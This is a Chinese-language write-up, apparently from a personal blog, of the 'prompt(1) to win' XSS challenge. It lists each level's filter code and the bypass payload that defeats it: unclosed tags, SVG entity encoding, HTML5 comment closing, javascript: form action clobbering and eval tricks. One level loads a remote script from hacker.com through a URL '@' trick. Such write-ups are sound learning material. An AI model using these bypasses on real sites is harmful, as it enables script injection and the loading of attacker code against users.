前言

之前就断断续续的做过几次这个 xss 挑战,但是都半途而废了,这次终于决定利用这个假期把这个挑战做完,并且整理下来。

传送门:prompt(1) to win

关卡0:

function escape(input) {
   // warm up
   // script should be executed without user interaction
   return '<input type="text" value="' + input + '">';
}     

没有任何过滤,直接把 input 闭合就好了。

payload:

"><script>prompt(1)</script>

关卡1:

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}        

过滤了标签,就是将<xxx> 这样的内容全部替换为空

但是 一个标签即使没有最后面的 > 也是可以被浏览器正确解析的,比如

<img src=1
<input type=text
<script>alert(1)</script

所以我们可以构造这样的payload:

<img src=1 onerror=prompt(1) 

关卡2:

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}        

过滤了一些符号,其中( 是我们必然不可缺少的。

那么可以用 <svg>+html 字符实体黑魔法绕过

payload:

<svg><script>prompt&#40;1)</script> 

关卡3:

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
} 

很明显需要闭合注释,但是 -> 被过滤了

那么就需要了解 HTML5 的一个特性,注释的写法除了<!–xxxx–>之外还可以<!–xxxx–!>

所以payload就是:

--!><script>prompt(1)</script>

关卡4:

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

限制引入的资源同域,看了别人的 wp ,了解到 @ 黑魔法,形如 http://sougou.com@baidu.com 这样的链接会被浏览器认为是 以sougou.com 为用户名,登录到baidu.com的请求。

于是我们可以构造这样的payload,绕过正则的匹配检测,同时引入自己服务器上的脚本:

http://prompt.ml%2f@hacker.com/payload.js

关卡5:

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
} 

过滤事件,但是事件和 = 之间有换行的情况下,浏览器也是可以正常解析的。所以payload:

" src=1 type=image onerror
=prompt(1)  

关卡6:

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

这么长一串,先大概解释一下吧,大体内容就是输入 类似http://xxx.com#{“a”:“b”} 的内容,# 前面的内容会作为form 的 action 的值,而后面的 json 格式的数据的键和值分别对应 input 标签的 name 和 value。正常情况下可以通过将 action 设置成 javascript 伪协议,来触发xss,但是会被

 if (!/script:|data:/i.test(document.forms[0].action))

检测到。那么如何绕过呢?

这里涉及到的一个知识点就是 JavaScript 中 形如 document.forms[0].action 的 表单DOM 操作,会先选择表单中 name 属性为 action 的输入框,如果找不到,才会选择 form 标签的 action 属性。

所以可以构造这样的payload:

javascript:prompt(1)#{"action":"233"}

关卡7:

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}    

这道题的关键是怎么突破 title 12个字符的长度限制,于是利用注释打通标签。payload如下:

"><script>/*#"*/prompt/*#"*/(1)/*#"*/</script>

关卡8:

不会。。。。。

关卡9:

也不会。。。。

关卡A:

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}        

emmm 没啥好说的,payload如下:

pro'mpt(1)

关卡B:

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}      

这道题做的时候想到可以闭合 json ,但是闭合之后呢???(╯‵□′)╯︵┻━┻

看别人的 wp 发现这种payload:

"(prompt(1))in"

不明觉厉…

关卡C:

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}        

关卡A 的加强版,直接输入 prompt 肯定是不行了,于是转向编码考虑,首先想到的当然是

eval(String.fromCharCode(112,114,111,109,112,116,40,49,41)

这种,但是因为 逗号 会被 urlencode,所以不能成功,那么还有其他的 eval() 方法吗?于是在别人的Write up 里找到了这种payload:

eval((1558153217).toString(36))(1)

先把prompt转换成36位,然后再eval。

其余的关卡:

现在还太菜,做不来,看别人的wp也看不懂,以后会做了再发上来吧。